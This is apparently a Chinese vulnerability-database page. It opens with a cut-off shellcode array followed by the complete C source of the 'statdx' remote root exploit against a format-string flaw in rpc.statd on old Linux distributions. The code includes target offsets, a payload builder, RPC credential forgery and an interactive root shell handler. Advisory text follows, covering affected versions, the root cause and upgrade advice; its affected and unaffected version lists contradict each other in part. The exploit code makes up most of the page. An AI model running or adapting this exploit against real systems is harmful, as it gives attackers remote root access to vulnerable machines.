"\x8d\x56\x10"                          /* leal   0x10(%esi),%edx       */
"\x8d\x4e\x0c"                          /* leal   0xc(%esi),%ecx        */
"\x89\xf3"                              /* movl   %esi,%ebx             */
"\xb0\x0b"                              /* movb   $0xb,%al              */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01"                              /* movb   $0x1,%al              */
"\xcd\x80"                              /* int    $0x80                 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff";                 /* call   -0x81                 */

enum res
{
    stat_succ,
    stat_fail
};

struct sm_name
{
    char *mon_name;
};

struct sm_stat_res
{
    enum res res_stat;
    int state;
};

struct type
{
    int type;
    char *desc;
    char *code;
    u_long bufpos;
    int buflen;
    int offset;
    int wipe;
};

struct type types[] =
{
    {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9},
    {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
    {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
    {0, NULL, NULL, 0, 0, 0, 0}
};

bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{
    if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_res(XDR *xdrs, enum res *objp)
{
    if (!xdr_enum(xdrs, (enum_t *)objp))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{
    if (!xdr_res(xdrs, &objp->res_stat))
        return (FALSE);
    if (!xdr_int(xdrs, &objp->state))
        return (FALSE);
    return (TRUE);
}

void
usage(char *app)
{
    int i;

    fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n");
    fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
    fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] <target>\n");
    fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
    fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n");
    fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n");
    fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n");
    fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n");
    fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n");
    fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n");
    fprintf(stderr, "-d\tuse a hardcoded <type>\n");
    fprintf(stderr, "Available types:\n");

    for(i = 0; types[i].desc; i++)
        fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);

    exit(EXIT_FAILURE);
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "cd /; ls -alF; id;\n", 19, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            perror("select()");
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                perror("recv()");
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            errno = 0;
            if(send(sockd, buff, ret, 0) != ret)
            {
                if(errno) perror("send()");
                else fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}

void
connection(struct sockaddr_in host)
{
    int sockd;

    host.sin_port = htons(39168);

    if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
    {
        printf("OMG! You now have rpc.statd technique!@#$!\n");
        runshell(sockd);
    }

    close(sockd);
}


char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
    int i, j, cnt, pad;
    char pbyte, *buff, *ptr;
    u_long retpos;
    u_long dstpos;


    while(bufpos % 4) bufpos--;
    /* buflen + ebp */
    retpos = bufpos + buflen + 4;

/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/

    pbyte = retpos & 0xff;

    /* Yes, it's 0x24 */
    if(pbyte == 0x00 || pbyte == 0x24)
    {
        fprintf(stderr, "Target address space contains a poison char\n");
        exit(EXIT_FAILURE);
    }

/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/

    /* str */
    cnt = 24;
    /* 1 = process nul */
    buflen -= cnt + 1;

    if(!(buff = malloc(buflen + 1)))
    {
        perror("malloc()");
        exit(EXIT_FAILURE);
    }

    ptr = buff;
    memset(ptr, NOP, buflen);

    for(i = 0; i < 4; i++, retpos++)
    {
        /* junk dword */
        for(j = 0; j < 4; j++)
            *ptr++ = retpos >> j * 8 & 0xff;
        /* r + i */
        memcpy(ptr, ptr - 4, 4);
        ptr += 4; cnt += 8;
    }

    /* restore */
    retpos -= 4;

    for(i = 0; i < wipe; i++)
    {
        /* consistent calculations */
        strncpy(ptr, "%8x", 3);
        ptr += 3; cnt += 8;
    }

    dstpos = bufpos + offset;

/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/

    for(i = 0; i < 4; i++)
    {
        pad = dstpos >> i * 8 & 0xff;
        if(pad == (cnt & 0xff))
        {
            sprintf(ptr, "%%n%%n");
            ptr += 4; continue;
        }
        else
        {
            int tmp;
            /* 0xffffffff = display count of 8 */
            while(pad < cnt || pad % cnt <= 8) pad += 0x100;
            pad -= cnt, cnt += pad;
            /* the source of this evil */
            tmp = sprintf(ptr, "%%%dx%%n", pad);
            ptr += tmp;
        }

    }

    *ptr = NOP;
    /* plug in the shellcode */
    memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
    buff[buflen] = '\0';

    printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
    printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
    printf("wiping %d dwords\n", wipe);
    return buff;
}

struct in_addr
getip(char *host)
{
    struct hostent *hs;

    if((hs = gethostbyname(host)) == NULL)
    {
        herror("gethostbyname()");
        exit(EXIT_FAILURE);
    }

    return *((struct in_addr *) hs->h_addr);
}


int
main(int argc, char **argv)
{
    int ch;
    char *buff;

    CLIENT *clnt;
    enum clnt_stat res;
    struct timeval tv, tvr;
    struct sm_name smname;
    struct sm_stat_res smres;
    struct sockaddr_in addr;

    int type = -1;
    int usetcp = 0;
    int timeout = 5;
    int wipe = 9;
    int offset = 600;
    int buflen = 1024;
    char *target;
    char *sc = shellcode;
    u_short port = 0;
    u_long bufpos = 0;

    int sockp = RPC_ANYSOCK;

    extern char *optarg;
    extern int optind;
    extern int opterr;
    opterr = 0;


    while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
    {
        switch(ch)
        {
            case 't': usetcp = 1; break;
            case 'p': sscanf(optarg, "%hu", &port); break;
            case 'a': sscanf(optarg, "%lx", &bufpos); break;
            case 'l': buflen = atoi(optarg); break;
            case 'o': offset = atoi(optarg); break;
            case 's': timeout = atoi(optarg); break;
            case 'w': wipe = atoi(optarg); break;
            case 'd': type = atoi(optarg); break;
            default : usage(argv[0]);
        }
    }

    if(!(target = argv[optind]))
    {
        fprintf(stderr, "No target host specified\n");
        exit(EXIT_FAILURE);
    }

    if(type >= 0)
    {
        if(type >= sizeof types / sizeof types[0] - 1)
        {
            fprintf(stderr, "Invalid type\n");
            exit(EXIT_FAILURE);
        }

        sc = types[type].code;
        bufpos = types[type].bufpos;
        buflen = types[type].buflen;
        offset = types[type].offset;
        wipe = types[type].wipe;
    }

    if(!bufpos)
    {
        fprintf(stderr, "No buffer address specified\n");
        exit(EXIT_FAILURE);
    }

    bzero(&addr, sizeof addr);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr = getip(target);

    tv.tv_sec = timeout;
    tv.tv_usec = 0;

    if(!usetcp)
    {
        clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clntudp_create()");
            exit(EXIT_FAILURE);
        }
        tvr.tv_sec = 2;
        tvr.tv_usec = 0;
        clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
    }
    else
    {
        clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clnttcp_create()");
            exit(EXIT_FAILURE);
        }
    }

    /* AUTH_UNIX / AUTH_SYS authentication forgery */
    clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

    buff = wizardry(sc, bufpos, buflen, offset, wipe);
    smname.mon_name = buff;

    res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
        (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
        (caddr_t) &smres, tv);

    if(res != RPC_SUCCESS)
    {
        clnt_perror(clnt, "clnt_call()");
        printf("A timeout was expected. Attempting connection to shell..\n");
        sleep(5); connection(addr);
        printf("Failed\n");
    }
    else
    {
        printf("Failed - statd returned res_stat: (%s) state: %d\n",
                smres.res_stat ? "failure" : "success", smres.state);
    }

    free(buff);
    clnt_destroy(clnt);
    return -1;
}
		

- 漏洞信息

443
nfs-utils rpc.statd Remote Format String
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

The rpc.statd program contained in the nfs-utils package contains a flaw that may allow a malicious user to gain remote root access. The issue is triggered when raw user input is passed to the syslog() function. It is possible that the flaw may allow arbitrary code exectuion resulting in a loss of integrity.

- 时间线

2000-07-16 Unknow
2000-07-16 Unknow

- 解决方案

Upgrade to the latest version of RPC statd. Contact your vendor for upgrade information.

- 相关参考

- 漏洞作者

- 漏洞信息

Multiple Linux Vendor rpc.statd Remote Format String Vulnerability
Input Validation Error 1480
Yes No
2000-07-16 12:00:00 2007-11-15 12:40:00
This vulnerability was posted to the Bugtraq mailing list on July 16, 2000 by Daniel Jacobowitz <drow@false.org>

- 受影响的程序版本

Trustix Trustix Secure Linux 1.1
Trustix Trustix Secure Linux 1.0
S.u.S.E. Linux 7.0
S.u.S.E. Linux 6.4 ppc
S.u.S.E. Linux 6.4 alpha
S.u.S.E. Linux 6.4
S.u.S.E. Linux 6.3 ppc
S.u.S.E. Linux 6.3 alpha
S.u.S.E. Linux 6.3
RedHat nfs-utils-0.1.6-2.i386.rpm
+ Red Hat Linux 6.2
RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 alpha
RedHat Linux 6.0
Debian Linux 2.3 sparc
Debian Linux 2.3 powerpc
Debian Linux 2.3 alpha
Debian Linux 2.3
Debian Linux 2.2 sparc
Debian Linux 2.2 powerpc
Debian Linux 2.2 alpha
Debian Linux 2.2
Conectiva Linux 5.1
Conectiva Linux 5.0
Conectiva Linux 4.2
Conectiva Linux 4.1
Conectiva Linux 4.0 es
Conectiva Linux 4.0
GNU Mailman 1.1
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
GNU Mailman 1.0
+ Debian Linux 2.1
Debian Linux 2.1
Caldera OpenLinux 2.4
Caldera OpenLinux 2.3
Caldera OpenLinux 2.2
Caldera OpenLinux 1.3

- 不受影响的程序版本

GNU Mailman 1.1
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
GNU Mailman 1.0
+ Debian Linux 2.1
Debian Linux 2.1
Caldera OpenLinux 2.4
Caldera OpenLinux 2.3
Caldera OpenLinux 2.2
Caldera OpenLinux 1.3

- 漏洞讨论

A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root.

The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture.

The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code.
The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges.

Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.

- 漏洞利用

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

See "rpc.statd remote root xploit for linux/x86 (little fix)" in credits for more information on rpc-statd-xpl.c
statdx2 "the successor of statdx" Linux rpc.statd remote root exploit by ron1n <shellcode@hotmail.com>

- 解决方案

Updates have been released to address this issue. Please see the references for more information.


RedHat nfs-utils-0.1.6-2.i386.rpm

Trustix Trustix Secure Linux 1.0

Trustix Trustix Secure Linux 1.1

Debian Linux 2.2 powerpc

Debian Linux 2.2

Debian Linux 2.2 sparc

Debian Linux 2.2 alpha

Debian Linux 2.3 powerpc

Debian Linux 2.3

Debian Linux 2.3 sparc

Conectiva Linux 4.0 es

Conectiva Linux 4.0

Conectiva Linux 4.1

Conectiva Linux 4.2

Conectiva Linux 5.0

Conectiva Linux 5.1

RedHat Linux 6.0 alpha

RedHat Linux 6.0

RedHat Linux 6.0 sparc

RedHat Linux 6.1 i386

RedHat Linux 6.1 sparc

RedHat Linux 6.1 alpha

RedHat Linux 6.2 alpha

RedHat Linux 6.2 i386

RedHat Linux 6.2 sparc

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站